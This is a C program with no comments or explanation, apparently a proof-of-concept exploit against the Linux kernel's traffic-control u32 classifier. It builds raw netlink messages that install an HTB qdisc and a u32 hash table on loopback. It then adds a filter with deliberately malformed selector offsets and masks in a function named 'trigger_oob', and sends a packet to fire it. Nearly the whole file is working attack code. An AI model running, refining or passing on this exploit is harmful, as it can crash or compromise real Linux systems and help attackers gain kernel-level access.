#define _GNU_SOURCE

#include <arpa/inet.h>
#include <endian.h>
#include <errno.h>
#include <net/if.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <linux/if_ether.h>
#include <linux/netlink.h>
#include <linux/pkt_cls.h>
#include <linux/pkt_sched.h>
#include <linux/rtnetlink.h>



#define NLA_F_NESTED (1 << 15)
#define TC_MSG_BUFSIZE 16384
#define TC_HANDLE(maj, min) (((maj) << 16) | (min))
#define NLMSG_TAIL(nmsg) ((struct rtattr*)(((char*)(nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len)))

typedef struct {
  uint32_t mask;
  uint32_t val;
  int32_t off;
  int32_t offmask;
} u32_key;

typedef struct {
  int sock;
  struct nlmsghdr* msg;
  struct tcmsg* tc;
  struct rtattr* opts_nest;
} filter_ctx_t;



static char g_nl_buf[TC_MSG_BUFSIZE];
static uint32_t g_u32_ht_handle = 0;


static struct nlmsghdr* nl_msg_init(void)
{
  struct nlmsghdr* msg = (struct nlmsghdr*)g_nl_buf;
  memset(msg, 0, TC_MSG_BUFSIZE);
  msg->nlmsg_len = NLMSG_ALIGN(NLMSG_LENGTH(0));
  return msg;
}

static struct tcmsg* nl_msg_init_tc(struct nlmsghdr* msg, uint16_t type,
                                    uint16_t flags, int ifindex,
                                    uint32_t parent, uint32_t handle)
{
  struct tcmsg* tc;
  msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));
  msg->nlmsg_type = type;
  msg->nlmsg_flags = flags;
  tc = (struct tcmsg*)NLMSG_DATA(msg);
  tc->tcm_family = AF_UNSPEC;
  tc->tcm_ifindex = ifindex;
  tc->tcm_parent = parent;
  tc->tcm_handle = handle;
  return tc;
}

static int nl_attr_put(struct nlmsghdr* msg, int maxlen, int type,
                       const void* data, int alen)
{
  int len = RTA_LENGTH(alen);
  struct rtattr* rta;
  if (NLMSG_ALIGN(msg->nlmsg_len) + RTA_ALIGN(len) > (unsigned int)maxlen)
    return -1;
  rta = NLMSG_TAIL(msg);
  rta->rta_type = type;
  rta->rta_len = len;
  if (alen && data)
    memcpy(RTA_DATA(rta), data, alen);
  msg->nlmsg_len = NLMSG_ALIGN(msg->nlmsg_len) + RTA_ALIGN(len);
  return 0;
}

static int nl_attr_put_str(struct nlmsghdr* msg, int maxlen, int type,
                           const char* str)
{
  return nl_attr_put(msg, maxlen, type, str, strlen(str) + 1);
}

static int nl_attr_put_u32(struct nlmsghdr* msg, int maxlen, int type,
                           uint32_t v)
{
  return nl_attr_put(msg, maxlen, type, &v, 4);
}

static struct rtattr* nl_attr_nest_start(struct nlmsghdr* msg, int maxlen,
                                         int type)
{
  struct rtattr* nest = NLMSG_TAIL(msg);
  if (nl_attr_put(msg, maxlen, type | NLA_F_NESTED, NULL, 0) < 0)
    return NULL;
  return nest;
}

static void nl_attr_nest_end(struct nlmsghdr* msg, struct rtattr* nest)
{
  nest->rta_len = (char*)NLMSG_TAIL(msg) - (char*)nest;
}

static int nl_send(int sock, struct nlmsghdr* msg)
{
  struct sockaddr_nl nladdr;
  struct iovec iov;
  struct msghdr msgh;
  memset(&nladdr, 0, sizeof(nladdr));
  nladdr.nl_family = AF_NETLINK;
  iov.iov_base = msg;
  iov.iov_len = msg->nlmsg_len;
  memset(&msgh, 0, sizeof(msgh));
  msgh.msg_name = &nladdr;
  msgh.msg_namelen = sizeof(nladdr);
  msgh.msg_iov = &iov;
  msgh.msg_iovlen = 1;
  return sendmsg(sock, &msgh, 0);
}


static int set_qdisc_htb(int sock, int ifindex, uint32_t parent,
                         uint32_t handle, int replace)
{
  struct nlmsghdr* msg = nl_msg_init();
  struct tc_htb_glob glob = {0};
  struct rtattr* nest;
  int flags =
      NLM_F_REQUEST | NLM_F_CREATE | (replace ? NLM_F_REPLACE : NLM_F_EXCL);
  nl_msg_init_tc(msg, RTM_NEWQDISC, flags, ifindex, parent, handle);
  nl_attr_put_str(msg, TC_MSG_BUFSIZE, TCA_KIND, "htb");
  nest = nl_attr_nest_start(msg, TC_MSG_BUFSIZE, TCA_OPTIONS);
  glob.version = 3;
  glob.rate2quantum = 0x1000000;
  glob.defcls = 0x3000000;

  nl_attr_put(msg, TC_MSG_BUFSIZE, TCA_HTB_INIT, &glob, sizeof(glob));
  nl_attr_nest_end(msg, nest);
  return nl_send(sock, msg);
}


static int del_qdisc(int sock, int ifindex, uint32_t parent, uint32_t handle)
{
  struct nlmsghdr* msg = nl_msg_init();
  nl_msg_init_tc(msg, RTM_DELQDISC, NLM_F_REQUEST, ifindex, parent, handle);
  return nl_send(sock, msg);
}

static void cleanup_tc(int sock, int ifindex)
{
  del_qdisc(sock, ifindex, TC_H_ROOT, 0);
  del_qdisc(sock, ifindex, TC_H_INGRESS, 0);
}


static long ht_set(void)
{
  int sock;
  sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);


  filter_ctx_t ctx;
  ctx.sock = sock;
  ctx.msg = nl_msg_init();
  struct nlmsghdr* ht_msg;
  struct tcmsg* ht_tc;
  struct rtattr* ht_opts;

  ht_msg = nl_msg_init();
  ht_tc = nl_msg_init_tc(ht_msg, RTM_NEWTFILTER, NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL, 1, 0x00010000, 0);
  ht_tc->tcm_info = TC_H_MAKE(0 << 16, htons(ETH_P_ALL));
  nl_attr_put_str(ht_msg, TC_MSG_BUFSIZE, TCA_KIND, "u32");
  ht_opts = nl_attr_nest_start(ht_msg, TC_MSG_BUFSIZE, TCA_OPTIONS);
  nl_attr_put_u32(ht_msg, TC_MSG_BUFSIZE, TCA_U32_DIVISOR, 8);
  nl_attr_nest_end(ht_msg, ht_opts);
  nl_send(ctx.sock, ht_msg);
  g_u32_ht_handle = 0x80100000 | ((0 & 0xF) << 20);

  nl_attr_put_u32(ctx.msg, TC_MSG_BUFSIZE, TCA_U32_LINK, g_u32_ht_handle);
  nl_attr_put_str(ctx.msg, TC_MSG_BUFSIZE, TCA_U32_INDEV, "lo");
  nl_send(sock, ctx.msg);
  close(sock);
  return 0;
}


static long trigger_oob(void)
{
  int sock;
  sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);


  filter_ctx_t ctx;
  ctx.sock = sock;
  ctx.msg = nl_msg_init();

  ctx.tc = nl_msg_init_tc(ctx.msg, RTM_NEWTFILTER, NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL, 1, 0x00010000, 0);
  ctx.tc->tcm_info = TC_H_MAKE(0 << 16, htons(ETH_P_ALL));
  nl_attr_put_str(ctx.msg, TC_MSG_BUFSIZE, TCA_KIND, "u32");
  ctx.opts_nest = nl_attr_nest_start(ctx.msg, TC_MSG_BUFSIZE, TCA_OPTIONS);
  struct nlmsghdr* ht_msg;
  struct tcmsg* ht_tc;
  struct rtattr* ht_opts;
  char selbuf[256];
  struct tc_u32_sel* sel;


  memset(selbuf, 0, sizeof(selbuf));
  sel = (struct tc_u32_sel*)selbuf;
  sel->nkeys = 1;
  sel->flags = 0x01;
  sel->hoff = 0xf000;
  sel->hmask = htonl(0x00006e08);
  sel->offshift = 0;
  sel->offmask = htons(0xFF00);
  sel->off = 1795;
  sel->offoff = -256;

  struct tc_u32_key* keys = (struct tc_u32_key*)(selbuf + sizeof(struct tc_u32_sel));
  keys[0].mask = htonl(0x09000000);
  keys[0].val = htonl(0x03000000);
  keys[0].off = 0;
  keys[0].offmask = 0x9000000;

  nl_attr_put(ctx.msg, TC_MSG_BUFSIZE, TCA_U32_SEL, selbuf,
              sizeof(struct tc_u32_sel) + sizeof(struct tc_u32_key) * 1);
  nl_attr_put_u32(ctx.msg, TC_MSG_BUFSIZE, TCA_U32_CLASSID, 0x00010003);
  nl_attr_put_u32(ctx.msg, TC_MSG_BUFSIZE, TCA_U32_LINK, g_u32_ht_handle);
  nl_attr_put_str(ctx.msg, TC_MSG_BUFSIZE, TCA_U32_INDEV, "lo");
  nl_attr_nest_end(ctx.msg, ctx.opts_nest);
  nl_send(sock, ctx.msg);
  close(sock);
  return 0;
}

static void send_to_class(uint32_t classid, int count)
{
    int sock;
    struct sockaddr_in addr;
    char data[64] = "trigger";
    
    sock = socket(AF_INET, SOCK_DGRAM, 0);
    if (sock < 0)
        return;
    
    const char* ifname = "lo";
    setsockopt(sock, SOL_SOCKET, SO_BINDTODEVICE, ifname, strlen(ifname));
    
    struct timeval tv = {0, 10000};
    setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
    setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
    
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = htonl(0x7F000001);
    addr.sin_port = htons(12345);
    
    if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == 0) {
        int prio = classid;
        setsockopt(sock, SOL_SOCKET, SO_PRIORITY, &prio, sizeof(prio));
        for (int i = 0; i < count; i++)
            write(sock, data, sizeof(data));
    }
    close(sock);
}

static long set(void)
{
  int sock;
  sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);

  set_qdisc_htb(sock, 1, TC_H_ROOT, TC_HANDLE(1, 0), 0);
  close(sock);
  return 0;
}

int main(void)
{
  set();
  ht_set();
  trigger_oob();
  send_to_class(TC_HANDLE(1, 0),1);
  
  return 0;
}